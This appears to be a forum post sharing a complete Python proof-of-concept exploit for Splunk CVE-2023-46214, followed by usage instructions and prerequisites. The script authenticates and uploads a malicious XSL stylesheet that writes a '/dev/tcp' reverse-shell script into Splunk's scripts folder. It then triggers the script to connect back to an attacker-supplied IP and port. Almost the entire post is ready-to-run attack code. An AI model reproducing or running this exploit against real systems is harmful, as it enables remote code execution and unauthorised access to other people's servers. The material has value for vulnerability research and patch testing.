12-01-2023, 08:28 PM
#!/usr/bin/env python3
import argparse
import requests
import json
# proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
proxies = {}
def generate_malicious_xsl(ip, port):
return f"""<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:exsl="http://exslt.org/common" extension-element-prefixes="exsl">
<xsl:template match="/">
<exsl:document href="/opt/splunk/bin/scripts/shell.sh" method="text">
<xsl:text>sh -i >& /dev/tcp/{ip}/{port} 0>&1</xsl:text>
</exsl:document>
</xsl:template>
</xsl:stylesheet>
"""
def login(session, url, username, password):
login_url = f"{url}/en-US/account/login?return_to=%2Fen-US%2Faccount%2F"
response = session.get(login_url, proxies=proxies)
cval_value = session.cookies.get("cval", None)
if not cval_value:
return False
auth_payload = {
"cval": cval_value,
"username": username,
"password": password,
"set_has_logged_in": "false",
}
auth_url = f"{url}/en-US/account/login"
response = session.post(auth_url, data=auth_payload, proxies=proxies)
return response.status_code == 200
def get_cookie(session, url):
response = session.get(url, proxies=proxies)
return response.status_code == 200
def upload_file(session, url, file_content, csrf_token):
files = {'spl-file': ('shell.xsl', file_content, 'application/xslt+xml')}
upload_headers = {
"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/119.0",
"Accept": "text/javascript, text/html, application/xml, text/xml, */*",
"X-Requested-With": "XMLHttpRequest",
"X-Splunk-Form-Key": csrf_token,
}
upload_url = f"{url}/en-US/splunkd/__upload/indexing/preview?output_mode=json&props.NO_BINARY_CHECK=1&input.path=shell.xsl"
response = session.post(upload_url, files=files, headers=upload_headers, verify=False, proxies=proxies)
try:
text_value = json.loads(response.text)['messages'][0]['text']
if "concatenate" in text_value:
return False, None
return True, text_value
except (json.JSONDecodeError, KeyError, IndexError):
return False, None
def get_job_search_id(session, url, username, csrf_token):
jsid_data = {'search': f'|search test|head 1'}
jsid_url = f"{url}/en-US/splunkd/__raw/servicesNS/{username}/search/search/jobs?output_mode=json"
upload_headers = {
"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/119.0",
"X-Requested-With": "XMLHttpRequest",
"X-Splunk-Form-Key": csrf_token,
}
response = session.post(jsid_url, data=jsid_data, headers=upload_headers, verify=False, proxies=proxies)
try:
jsid = json.loads(response.text)['sid']
return True, jsid
except (json.JSONDecodeError, KeyError, IndexError):
return False, None
def trigger_xslt_transform(session, url, jsid, text_value):
xslt_headers = {
"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/119.0",
"X-Splunk-Module": "Splunk.Module.DispatchingModule",
"Connection": "close",
"Upgrade-Insecure-Requests": "1",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"X-Requested-With": "XMLHttpRequest",
}
exploit_endpoint = f"{url}/en-US/api/search/jobs/{jsid}/results?xsl=/opt/splunk/var/run/splunk/dispatch/{text_value}/shell.xsl"
response = session.get(exploit_endpoint, verify=False, proxies=proxies)
response = session.get(exploit_endpoint, verify=False, headers=xslt_headers, proxies=proxies)
return response.status_code == 200
def trigger_reverse_shell(session, url, username, jsid, csrf_token):
runshellscript_data = {'search': f'|runshellscript "shell.sh" "" "" "" "" "" "" "" "{jsid}"'}
runshellscript_url = f"{url}/en-US/splunkd/__raw/servicesNS/{username}/search/search/jobs"
upload_headers = {
"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/119.0",
"X-Requested-With": "XMLHttpRequest",
"X-Splunk-Form-Key": csrf_token,
}
response = session.post(runshellscript_url, data=runshellscript_data, headers=upload_headers, verify=False, proxies=proxies)
return response.status_code == 201
def main():
parser = argparse.ArgumentParser(description='Splunk CVE-2023-46214 RCE PoC')
parser.add_argument('--url', required=True, help='Splunk instance URL')
parser.add_argument('--username', required=True, help='Splunk username')
parser.add_argument('--password', required=True, help='Splunk password')
parser.add_argument('--ip', required=True, help='Reverse Shell IP')
parser.add_argument('--port', required=True, help='Reverse Shell Port')
args = parser.parse_args()
session = requests.Session()
print("[!] CVE: CVE-2023-46214")
print("[!] Github: https://github.com/nathan31337/Splunk-RCE-poc")
if not login(session, args.url, args.username, args.password):
print("[-] Authentication failed")
exit()
print("[+] Authentication successful")
print("
[*]Grabbing CSRF token", end="\r")
if not get_cookie(session, f"{args.url}/en-US"):
print("[-] Failed to obtain CSRF token")
exit()
print("[+] CSRF token obtained")
csrf_token = session.cookies.get("splunkweb_csrf_token_8000", None)
malicious_xsl = generate_malicious_xsl(args.ip, args.port)
uploaded, text_value = upload_file(session, args.url, malicious_xsl, csrf_token)
if not uploaded:
print("[-] File upload failed")
exit()
print("[+] Malicious XSL file uploaded successfully")
jsid_created, jsid = get_job_search_id(session, args.url, args.username, csrf_token)
if not jsid_created:
print("[-] Creating job failed")
exit()
print("[+] Job search ID obtained")
print("
[*]Grabbing new CSRF token", end="\r")
if not get_cookie(session, f"{args.url}/en-US"):
print("[-] Failed to obtain CSRF token")
exit()
print("[+] New CSRF token obtained")
if not trigger_xslt_transform(session, args.url, jsid, text_value):
print("[-] XSLT Transform failed")
exit()
print("[+] Successfully wrote reverse shell to disk")
if not trigger_reverse_shell(session, args.url, args.username, jsid, csrf_token):
print("[-] Failed to execute reverse shell")
exit()
print("[+] Reverse shell executed! Got shell?")
if __name__ == "__main__":
main()prereq:
Splunk creds with upload permissions to adddatamethods
Splunk not running in SHC mode
example: $ python3 CVE-2023-46214.py --url <Splunk_URL> --username <Username> --password <Password> --ip <Reverse_Shell_IP> --port <Reverse_Shell_Port>
here: https://blog.hrncirik.net/cve-2023-46214-analysis
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